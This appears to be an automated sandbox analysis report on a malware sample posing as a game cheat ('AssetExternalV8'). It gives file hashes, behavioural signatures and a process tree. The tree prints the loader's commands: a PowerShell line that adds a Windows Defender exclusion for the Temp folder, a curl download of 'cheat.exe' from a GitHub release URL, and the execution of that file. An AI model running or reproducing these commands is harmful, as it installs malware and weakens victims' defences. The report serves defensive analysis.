Overview
overview
8Static
static
1AssetExter...al.lnk
windows10-2004-x64
8AssetExter...al.lnk
windows11-ltsc_2024-x64
8AssetExter...ss.dll
windows10-2004-x64
1AssetExter...ss.dll
windows11-ltsc_2024-x64
1AssetExter...es.bat
windows10-2004-x64
8AssetExter...es.bat
windows11-ltsc_2024-x64
8AssetExter...ry.dll
windows10-2004-x64
1AssetExter...ry.dll
windows11-ltsc_2024-x64
1Mal/AssetE...al.lnk
windows10-2004-x64
8Mal/AssetE...al.lnk
windows11-ltsc_2024-x64
8Mal/AssetE...ss.dll
windows10-2004-x64
1Mal/AssetE...ss.dll
windows11-ltsc_2024-x64
1Mal/AssetE...es.bat
windows10-2004-x64
8Mal/AssetE...es.bat
windows11-ltsc_2024-x64
8Mal/AssetE...ry.dll
windows10-2004-x64
1Mal/AssetE...ry.dll
windows11-ltsc_2024-x64
1Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/08/2026, 23:59
Static task
static1
Behavioral task
behavioral1
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral3
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral4
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral5
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral6
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260710-en
Behavioral task
behavioral7
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral8
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral9
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral10
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral11
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral12
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral13
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral14
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral15
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral16
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
General
- Target Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
- Size 1KB
- Sample260808-31te3azzgx
- SHA256 6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a
- MD5 0f6a404c26510641ceff4ce159bb4a2b
- SHA1 a926776e1d5744c13be1792e2ec2af92f88ff692
- SHA512 e829110d2725d45ac686c0c50e77bd6dc9ded950c501dfb6268c6aeac05cdce112d711195fac3a6473b08a78701f25a42dd1b642ef5ac32b58d80840bdb626f9
- TLSH T18B31CD5266C16F19E7BF0FB296F6A181C27C78217C0AD50C55949B8828B6A24E836736
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4520 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 11 4936 curl.exe - Executes dropped EXE 1 IoCs
pid Process 5388 cheat.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3156 cmd.exe 5284 cmd.exe - Delays execution with timeout.exe 7 IoCs
pid Process 3384 timeout.exe 1976 timeout.exe 4396 timeout.exe 5940 timeout.exe 5616 timeout.exe 3620 timeout.exe 1528 timeout.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ cmd.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4520 powershell.exe 4520 powershell.exe 5388 cheat.exe 5388 cheat.exe - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 4520 powershell.exe Token: SeIncreaseQuotaPrivilege 4520 powershell.exe Token: SeSecurityPrivilege 4520 powershell.exe Token: SeTakeOwnershipPrivilege 4520 powershell.exe Token: SeLoadDriverPrivilege 4520 powershell.exe Token: SeSystemProfilePrivilege 4520 powershell.exe Token: SeSystemtimePrivilege 4520 powershell.exe Token: SeProfSingleProcessPrivilege 4520 powershell.exe Token: SeIncBasePriorityPrivilege 4520 powershell.exe Token: SeCreatePagefilePrivilege 4520 powershell.exe Token: SeBackupPrivilege 4520 powershell.exe Token: SeRestorePrivilege 4520 powershell.exe Token: SeShutdownPrivilege 4520 powershell.exe Token: SeDebugPrivilege 4520 powershell.exe Token: SeSystemEnvironmentPrivilege 4520 powershell.exe Token: SeRemoteShutdownPrivilege 4520 powershell.exe Token: SeUndockPrivilege 4520 powershell.exe Token: SeManageVolumePrivilege 4520 powershell.exe Token: 33 4520 powershell.exe Token: 34 4520 powershell.exe Token: 35 4520 powershell.exe Token: 36 4520 powershell.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 3156 wrote to memory of 5284 3156 cmd.exe 91 PID 5284 wrote to memory of 3700 5284 cmd.exe 92 PID 3700 wrote to memory of 2576 3700 net.exe 93 PID 5284 wrote to memory of 4396 5284 cmd.exe 94 PID 5284 wrote to memory of 5940 5284 cmd.exe 95 PID 5284 wrote to memory of 5616 5284 cmd.exe 96 PID 5284 wrote to memory of 4520 5284 cmd.exe 97 PID 5284 wrote to memory of 4936 5284 cmd.exe 99 PID 5284 wrote to memory of 3620 5284 cmd.exe 102 PID 5284 wrote to memory of 1528 5284 cmd.exe 103 PID 5284 wrote to memory of 5388 5284 cmd.exe 104 PID 5284 wrote to memory of 3384 5284 cmd.exe 105 PID 5284 wrote to memory of 1976 5284 cmd.exe 107
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\AssetExternal.lnk1⤵
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\dependencies\Libraries.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5284 -
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:3700 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:2576
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:4396
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:5940
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:5616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4520
-
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C:\Windows\system32\curl.execurl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"3⤵
- Downloads MZ/PE file
PID:4936
-
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:3620
-
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:1528
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C:\Users\Admin\AppData\Local\Temp\cheat.exe"C:\Users\Admin\AppData\Local\Temp\cheat.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5388
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:3384
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:1976
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4280
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\AssetExternal.lnk
- Size 2KB
- SHA256 2891d58d5ad84f1b46d41a54b21843560b539dd427203e2bf83b22dca0d8ed2a
- MD5 c5bac0cc729f0ebdc3eed6fda63790b8
- SHA1 a9d74f219f8d3376bef7b9c5d37f9f0a24dff25d
- SHA512 cf4169ec12d6566358c1b4bb62aa9255fe538916884dba86f63a29b7770aa9da37d5d4e8accb1351349870aa676cb549a2c76e81adc31003a999530f5fef4628
- TLSH T17341EF929EC16F09D2BF5E766BFB519042BCFC345E0AE90C0454838D1862B12E93D73E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\cheat.exe
- Size 676KB
- SHA256 62aeb4d89cbe53cb8ec9eff1a5230cd9deedeb3605ee9825e936eb08c0543888
- MD5 1f86b763eec23eb36f5a530763b7a65d
- SHA1 79ae711c84382764dbdd1af03c12b5d61d9e1cfb
- SHA512 502b0364dc0136ccac70be2408cd98628cfa500a444fb97d72858c31b692d3223e1a11c6bd26f80bd09ebf6ad66ecf03429ff08a485182d7d7070c4115eb714e
- SSDEEP 6144:51oqMZHuAx9Jb4Fo2W3NkWQWrpoTSS2I5trhzkfgbSYB0U5gdIbmJFhsmNkrr3ZF:EbWTSSfKfcSYrgdIoyNrr3ZLC5Kcm
- TLSH T15BE4AE15A6E112F9E177C13ECAA64A56FAF2BC09076097C703E456E42F17BE44B3E312
- MD5 SHA1 SHA512 SSDEEP TLSH